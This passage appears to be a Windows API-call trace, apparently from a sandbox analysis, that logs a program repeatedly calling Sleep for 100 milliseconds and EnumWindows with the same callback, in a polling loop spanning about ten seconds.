Sleep (dwMilliseconds=0x64) [0129.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0129.298] Sleep (dwMilliseconds=0x64) [0129.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0129.513] Sleep (dwMilliseconds=0x64) [0129.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0129.644] Sleep (dwMilliseconds=0x64) [0129.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0129.845] Sleep (dwMilliseconds=0x64) [0130.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0130.002] Sleep (dwMilliseconds=0x64) [0130.117] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0130.120] Sleep (dwMilliseconds=0x64) [0130.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0130.221] Sleep (dwMilliseconds=0x64) [0130.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0130.428] Sleep (dwMilliseconds=0x64) [0130.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0130.648] Sleep (dwMilliseconds=0x64) [0130.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0130.773] Sleep (dwMilliseconds=0x64) [0130.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0130.920] Sleep (dwMilliseconds=0x64) [0131.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0131.065] Sleep (dwMilliseconds=0x64) [0131.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0131.422] Sleep (dwMilliseconds=0x64) [0131.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0131.524] Sleep (dwMilliseconds=0x64) [0131.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0131.701] Sleep (dwMilliseconds=0x64) [0131.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0131.868] Sleep (dwMilliseconds=0x64) [0132.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0132.026] Sleep (dwMilliseconds=0x64) [0132.127] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0132.127] Sleep (dwMilliseconds=0x64) [0132.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0132.421] Sleep (dwMilliseconds=0x64) [0132.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0132.538] Sleep (dwMilliseconds=0x64) [0132.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0132.648] Sleep (dwMilliseconds=0x64) [0132.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0132.753] Sleep (dwMilliseconds=0x64) [0132.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0132.874] Sleep (dwMilliseconds=0x64) [0132.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0132.992] Sleep (dwMilliseconds=0x64) [0133.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0133.095] Sleep (dwMilliseconds=0x64) [0133.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0133.261] Sleep (dwMilliseconds=0x64) [0133.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0133.421] Sleep (dwMilliseconds=0x64) [0133.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0133.522] Sleep (dwMilliseconds=0x64) [0133.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0133.697] Sleep (dwMilliseconds=0x64) [0133.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0133.832] Sleep (dwMilliseconds=0x64) [0133.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0133.947] Sleep (dwMilliseconds=0x64) [0134.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0134.198] Sleep (dwMilliseconds=0x64) [0134.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0134.391] Sleep (dwMilliseconds=0x64) [0134.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0134.493] Sleep (dwMilliseconds=0x64) [0134.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0134.709] Sleep (dwMilliseconds=0x64) [0134.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0134.821] Sleep (dwMilliseconds=0x64) [0134.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0134.922] Sleep (dwMilliseconds=0x64) [0135.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0135.041] Sleep (dwMilliseconds=0x64) [0135.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0135.174] Sleep (dwMilliseconds=0x64) [0135.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0135.309] Sleep (dwMilliseconds=0x64) [0135.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0135.564] Sleep (dwMilliseconds=0x64) [0135.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0135.675] Sleep (dwMilliseconds=0x64) [0135.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0135.846] Sleep (dwMilliseconds=0x64) [0136.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0136.042] Sleep (dwMilliseconds=0x64) [0136.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0136.210] Sleep (dwMilliseconds=0x64) [0136.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0136.346] Sleep (dwMilliseconds=0x64) [0136.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0136.490] Sleep (dwMilliseconds=0x64) [0136.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0136.667] Sleep (dwMilliseconds=0x64) [0136.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0136.769] Sleep (dwMilliseconds=0x64) [0136.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0136.926] Sleep (dwMilliseconds=0x64) [0137.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.085] Sleep (dwMilliseconds=0x64) [0137.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.240] Sleep (dwMilliseconds=0x64) [0137.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.519] Sleep (dwMilliseconds=0x64) [0137.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.583] Sleep (dwMilliseconds=0x64) [0137.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.612] Sleep (dwMilliseconds=0x64) [0137.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.659] Sleep (dwMilliseconds=0x64) [0137.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.661] Sleep (dwMilliseconds=0x64) [0137.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.662] Sleep (dwMilliseconds=0x64) [0137.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.665] Sleep (dwMilliseconds=0x64) [0137.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.667] Sleep (dwMilliseconds=0x64) [0137.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.669] Sleep (dwMilliseconds=0x64) [0137.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.671] Sleep (dwMilliseconds=0x64) [0137.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.673] Sleep (dwMilliseconds=0x64) [0137.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.675] Sleep (dwMilliseconds=0x64) [0137.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.677] Sleep (dwMilliseconds=0x64) [0137.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.679] Sleep (dwMilliseconds=0x64) [0137.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.681] Sleep (dwMilliseconds=0x64) [0137.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.683] Sleep (dwMilliseconds=0x64) [0137.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.685] Sleep (dwMilliseconds=0x64) [0137.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.687] Sleep (dwMilliseconds=0x64) [0137.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.689] Sleep (dwMilliseconds=0x64) [0137.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.691] Sleep (dwMilliseconds=0x64) [0137.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.693] Sleep (dwMilliseconds=0x64) [0137.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.695] Sleep (dwMilliseconds=0x64) [0137.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.697] Sleep (dwMilliseconds=0x64) [0137.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.699] Sleep (dwMilliseconds=0x64) [0137.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.701] Sleep (dwMilliseconds=0x64) [0137.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.703] Sleep (dwMilliseconds=0x64) [0137.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.707] Sleep (dwMilliseconds=0x64) [0137.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.708] Sleep (dwMilliseconds=0x64) [0137.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.712] Sleep (dwMilliseconds=0x64) [0137.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.803] Sleep (dwMilliseconds=0x64) [0137.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.805] Sleep (dwMilliseconds=0x64) [0137.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.807] Sleep (dwMilliseconds=0x64) [0137.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.809] Sleep (dwMilliseconds=0x64) [0137.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.811] Sleep (dwMilliseconds=0x64) [0137.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.813] Sleep (dwMilliseconds=0x64) [0137.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.815] Sleep (dwMilliseconds=0x64) [0137.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.817] Sleep (dwMilliseconds=0x64) [0137.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.819] Sleep (dwMilliseconds=0x64) [0137.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.822] Sleep (dwMilliseconds=0x64) [0137.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.823] Sleep (dwMilliseconds=0x64) [0137.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.825] Sleep (dwMilliseconds=0x64) [0137.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.827] Sleep (dwMilliseconds=0x64) [0137.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.830] Sleep (dwMilliseconds=0x64) [0137.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.846] Sleep (dwMilliseconds=0x64) [0137.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.854] Sleep (dwMilliseconds=0x64) [0137.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.856] Sleep (dwMilliseconds=0x64) [0137.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.858] Sleep (dwMilliseconds=0x64) [0137.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.861] Sleep (dwMilliseconds=0x64) [0137.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.863] Sleep (dwMilliseconds=0x64) [0137.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.865] Sleep (dwMilliseconds=0x64) [0137.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.867] Sleep (dwMilliseconds=0x64) [0137.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0137.947] Sleep (dwMilliseconds=0x64) [0138.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.054] Sleep (dwMilliseconds=0x64) [0138.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.155] Sleep (dwMilliseconds=0x64) [0138.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.169] Sleep (dwMilliseconds=0x64) [0138.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.171] Sleep (dwMilliseconds=0x64) [0138.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.172] Sleep (dwMilliseconds=0x64) [0138.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.174] Sleep (dwMilliseconds=0x64) [0138.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.175] Sleep (dwMilliseconds=0x64) [0138.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.177] Sleep (dwMilliseconds=0x64) [0138.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.178] Sleep (dwMilliseconds=0x64) [0138.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.181] Sleep (dwMilliseconds=0x64) [0138.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.184] Sleep (dwMilliseconds=0x64) [0138.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.187] Sleep (dwMilliseconds=0x64) [0138.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.188] Sleep (dwMilliseconds=0x64) [0138.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.192] Sleep (dwMilliseconds=0x64) [0138.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.193] Sleep (dwMilliseconds=0x64) [0138.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.195] Sleep (dwMilliseconds=0x64) [0138.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.196] Sleep (dwMilliseconds=0x64) [0138.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.198] Sleep (dwMilliseconds=0x64) [0138.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.199] Sleep (dwMilliseconds=0x64) [0138.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.201] Sleep (dwMilliseconds=0x64) [0138.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.203] Sleep (dwMilliseconds=0x64) [0138.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.204] Sleep (dwMilliseconds=0x64) [0138.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.206] Sleep (dwMilliseconds=0x64) [0138.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.207] Sleep (dwMilliseconds=0x64) [0138.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.209] Sleep (dwMilliseconds=0x64) [0138.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.211] Sleep (dwMilliseconds=0x64) [0138.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.212] Sleep (dwMilliseconds=0x64) [0138.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.214] Sleep (dwMilliseconds=0x64) [0138.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.215] Sleep (dwMilliseconds=0x64) [0138.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.217] Sleep (dwMilliseconds=0x64) [0138.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.219] Sleep (dwMilliseconds=0x64) [0138.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.222] Sleep (dwMilliseconds=0x64) [0138.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.226] Sleep (dwMilliseconds=0x64) [0138.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.228] Sleep (dwMilliseconds=0x64) [0138.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.229] Sleep (dwMilliseconds=0x64) [0138.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.231] Sleep (dwMilliseconds=0x64) [0138.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.233] Sleep (dwMilliseconds=0x64) [0138.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.234] Sleep (dwMilliseconds=0x64) [0138.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.236] Sleep (dwMilliseconds=0x64) [0138.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.238] Sleep (dwMilliseconds=0x64) [0138.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.239] Sleep (dwMilliseconds=0x64) [0138.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.241] Sleep (dwMilliseconds=0x64) [0138.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.243] Sleep (dwMilliseconds=0x64) [0138.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.246] Sleep (dwMilliseconds=0x64) [0138.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.248] Sleep (dwMilliseconds=0x64) [0138.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.249] Sleep (dwMilliseconds=0x64) [0138.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.251] Sleep (dwMilliseconds=0x64) [0138.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.252] Sleep (dwMilliseconds=0x64) [0138.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.254] Sleep (dwMilliseconds=0x64) [0138.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.257] Sleep (dwMilliseconds=0x64) [0138.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.261] Sleep (dwMilliseconds=0x64) [0138.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.263] Sleep (dwMilliseconds=0x64) [0138.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.264] Sleep (dwMilliseconds=0x64) [0138.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.266] Sleep (dwMilliseconds=0x64) [0138.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.267] Sleep (dwMilliseconds=0x64) [0138.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.407] Sleep (dwMilliseconds=0x64) [0138.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.411] Sleep (dwMilliseconds=0x64) [0138.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.412] Sleep (dwMilliseconds=0x64) [0138.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.414] Sleep (dwMilliseconds=0x64) [0138.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.415] Sleep (dwMilliseconds=0x64) [0138.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.417] Sleep (dwMilliseconds=0x64) [0138.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.419] Sleep (dwMilliseconds=0x64) [0138.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.421] Sleep (dwMilliseconds=0x64) [0138.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.423] Sleep (dwMilliseconds=0x64) [0138.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.425] Sleep (dwMilliseconds=0x64) [0138.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.428] Sleep (dwMilliseconds=0x64) [0138.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.429] Sleep (dwMilliseconds=0x64) [0138.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.431] Sleep (dwMilliseconds=0x64) [0138.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.433] Sleep (dwMilliseconds=0x64) [0138.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.435] Sleep (dwMilliseconds=0x64) [0138.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.436] Sleep (dwMilliseconds=0x64) [0138.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.438] Sleep (dwMilliseconds=0x64) [0138.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.440] Sleep (dwMilliseconds=0x64) [0138.441] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.441] Sleep (dwMilliseconds=0x64) [0138.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.443] Sleep (dwMilliseconds=0x64) [0138.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.445] Sleep (dwMilliseconds=0x64) [0138.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.446] Sleep (dwMilliseconds=0x64) [0138.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.448] Sleep (dwMilliseconds=0x64) [0138.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.451] Sleep (dwMilliseconds=0x64) [0138.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.452] Sleep (dwMilliseconds=0x64) [0138.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.454] Sleep (dwMilliseconds=0x64) [0138.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.455] Sleep (dwMilliseconds=0x64) [0138.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.457] Sleep (dwMilliseconds=0x64) [0138.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.458] Sleep (dwMilliseconds=0x64) [0138.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.460] Sleep (dwMilliseconds=0x64) [0138.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.461] Sleep (dwMilliseconds=0x64) [0138.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.463] Sleep (dwMilliseconds=0x64) [0138.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.464] Sleep (dwMilliseconds=0x64) [0138.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.466] Sleep (dwMilliseconds=0x64) [0138.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.467] Sleep (dwMilliseconds=0x64) [0138.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.469] Sleep (dwMilliseconds=0x64) [0138.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.471] Sleep (dwMilliseconds=0x64) [0138.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.472] Sleep (dwMilliseconds=0x64) [0138.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.474] Sleep (dwMilliseconds=0x64) [0138.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.476] Sleep (dwMilliseconds=0x64) [0138.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.477] Sleep (dwMilliseconds=0x64) [0138.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.479] Sleep (dwMilliseconds=0x64) [0138.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.480] Sleep (dwMilliseconds=0x64) [0138.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.482] Sleep (dwMilliseconds=0x64) [0138.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.483] Sleep (dwMilliseconds=0x64) [0138.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.485] Sleep (dwMilliseconds=0x64) [0138.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.487] Sleep (dwMilliseconds=0x64) [0138.488] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.488] Sleep (dwMilliseconds=0x64) [0138.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.492] Sleep (dwMilliseconds=0x64) [0138.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.493] Sleep (dwMilliseconds=0x64) [0138.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.615] Sleep (dwMilliseconds=0x64) [0138.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.623] Sleep (dwMilliseconds=0x64) [0138.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.625] Sleep (dwMilliseconds=0x64) [0138.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.626] Sleep (dwMilliseconds=0x64) [0138.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.628] Sleep (dwMilliseconds=0x64) [0138.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.629] Sleep (dwMilliseconds=0x64) [0138.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.631] Sleep (dwMilliseconds=0x64) [0138.633] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.634] Sleep (dwMilliseconds=0x64) [0138.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.636] Sleep (dwMilliseconds=0x64) [0138.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.638] Sleep (dwMilliseconds=0x64) [0138.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.678] Sleep (dwMilliseconds=0x64) [0138.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.774] Sleep (dwMilliseconds=0x64) [0138.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.775] Sleep (dwMilliseconds=0x64) [0138.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.777] Sleep (dwMilliseconds=0x64) [0138.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.779] Sleep (dwMilliseconds=0x64) [0138.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.780] Sleep (dwMilliseconds=0x64) [0138.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.782] Sleep (dwMilliseconds=0x64) [0138.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.784] Sleep (dwMilliseconds=0x64) [0138.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.785] Sleep (dwMilliseconds=0x64) [0138.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.787] Sleep (dwMilliseconds=0x64) [0138.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.789] Sleep (dwMilliseconds=0x64) [0138.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.791] Sleep (dwMilliseconds=0x64) [0138.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.794] Sleep (dwMilliseconds=0x64) [0138.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.796] Sleep (dwMilliseconds=0x64) [0138.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.798] Sleep (dwMilliseconds=0x64) [0138.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.800] Sleep (dwMilliseconds=0x64) [0138.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.802] Sleep (dwMilliseconds=0x64) [0138.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.804] Sleep (dwMilliseconds=0x64) [0138.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.805] Sleep (dwMilliseconds=0x64) [0138.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.808] Sleep (dwMilliseconds=0x64) [0138.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.811] Sleep (dwMilliseconds=0x64) [0138.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.813] Sleep (dwMilliseconds=0x64) [0138.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 